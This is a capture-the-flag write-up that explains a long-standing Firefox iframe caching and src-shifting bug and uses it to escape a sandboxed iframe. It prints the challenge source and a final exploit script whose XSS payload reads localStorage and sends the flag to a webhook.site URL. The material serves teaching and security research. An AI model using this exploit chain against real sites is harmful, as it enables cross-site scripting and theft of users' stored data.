Difficulty: 500 points | 2 solves
Description: I've heard that Firefox's sandboxed iframe has a breach! I won't believe it until I see it with my own eyes.
Could you help me finding it?
Sources: here.
This challenge was created based on a bug that @Geluchat discovered a year ago. After playing around with it, he found that this issue had been known and reported to Firefox for over 18 years :)
That being said, let's dive into the challenge! Since the goal was to find something "undocumented", the website was kept very simple.
Fig. 1: Challenge demo.
This was the backend source code:
app.get("/", (req, res) => {
var url = req.query.url || req.cookies.url || "/sandbox?html=Hello World!";
res.cookie("url", url);
res.set("Cache-Control", "public, max-age=30");
res.render("index", { url: url });
})
app.get("/sandbox", (_, res) => {
res.set("X-Frame-Options", "sameorigin");
res.render("sandbox");
})
app.get("/bot", async (req, res) => {
res.set("Content-Type", "text/plain");
if (req.query.url?.startsWith("http")) {
await goto(req.query.url);
res.send("URL checked by the bot!");
} else {
res.send("The ?url= parameter must starts with http!");
}
})
Fig. 2: /src/app.js
This was the / source code:
<form method="GET" action="/" class="mb">
<h2>Which link do you want to safely visit?</h2>
<input name="url" value="">
</form><br>
<hr>
<iframe sandbox src="<%= url %>" class="mt" frameBorder="0" width="80%" height="800"></iframe>
<iframe src=":)" hidden></iframe>
Fig. 3: /src/views/index.ejs
And this was the /sandbox source code:
<script>
if (top !== window && top.location.origin === window.location.origin) {
var params = new URLSearchParams(location.search);
document.body.innerHTML = params.get("html");
}
</script>
Fig. 4: /src/views/sandbox.ejs
So, in short:
We quickly understand (if the challenge description isn't clear enough) that we need to bypass the iframe's sandbox to load /sandbox directly on the challenge website.
Additionally, something important that will make sense a bit later is that the bot calls location.reload after visiting the user-provided link.
await page.goto("http://127.0.0.1:3000");
await page.evaluate((flag) => {
localStorage.setItem("flag", flag);
}, process.env.FLAG || "PWNME{FAKE_FLAG}");
try {
await page.goto(url);
await sleep(3 * 1000);
await page.evaluate(() => {
location.reload();
})
await sleep(1 * 1000);
} catch(error) {
console.error(`Error navigating to URL: ${error}`);
}
await browser.close();
Fig. 5: /src/bot.js
🗃️ Firefox's caching discrepancy
Now that we have a general idea of the challenge's goal, we can dive into the 18-year-old Firefox issue that need to be exploited :)
Several additional issues related to the same concept can be found publicly:
There is also this one related to srcdoc caching which remind me of the @IcesFont recent challenge.
In short, Firefox has a discrepancy between the DOM and the rendered page when using Cache-Control with <iframe>. To trigger this bug, you need to:
Fig. 6: Firefox <iframe> caching discrepancy.
As demonstrated in the video above, on Firefox, by exploiting the caching mechanism, the DOM can retain the originally set <iframe> src value while the page renders the subsequently updated <iframe> src value.
Furthermore, what makes this bug even more interesting is that, under some conditions, it can shift the <iframe> src rendering states!
Fig. 7: Firefox <iframe> src shifting.
There are probably many ways to trigger the caching and shifting bugs, but one method that @Geluchat discovered is by updating the src attribute with an invalid value. For instance:
These values are listed here: https://searchfox.org/mozilla-central/source/caps/nsScriptSecurityManager.cpp#1027. Actually, we didn't find a way to trigger the error using a common HTTP wrapper.
Thus, by chaining the shifting with the caching issue, we can force the first <iframe> to use its originally assigned src while the second <iframe> renders the updated src. This allows to control the displayed src of an <iframe> even when we do not have direct control over its src attribute! :)
Fig. 8: Firefox <iframe> src shifting.
Since this issue enables shifting <iframe>'s src, if a second <iframe> (without sandbox restrictions) appears after the user-controlled sandboxed <iframe>, it is possible to hijack that <iframe> and render a controlled origin into it! 🔥
Fig. 9: Firefox <iframe> sandbox bypass.
We now have everything we need to solve this challenge :)
By automating the bug and leaving the bot on the page (which needs to be reloaded), we obtain the following final exploitation chain:
<script>
var DOMAIN = "http://127.0.0.1:3000";
var LEAK_URL = "https://webhook.site/ebb2df51-048f-482e-99df-be7572cb7e5d";
if (location.search === "?start") {
let win = open(`${DOMAIN}?url=/sandbox?html=<img src="x" onerror="fetch('${LEAK_URL}?localStorage='.concat(localStorage.getItem('flag')))">`);
setTimeout(() => {
win.location.href = "?step2";
location.href = `${DOMAIN}?${crypto.randomUUID()}`;
}, 500);
}
if (location.search === "?step2") {
setTimeout(() => {
location.href = `${DOMAIN}?url=about:preferences`;
}, 1000);
}
</script>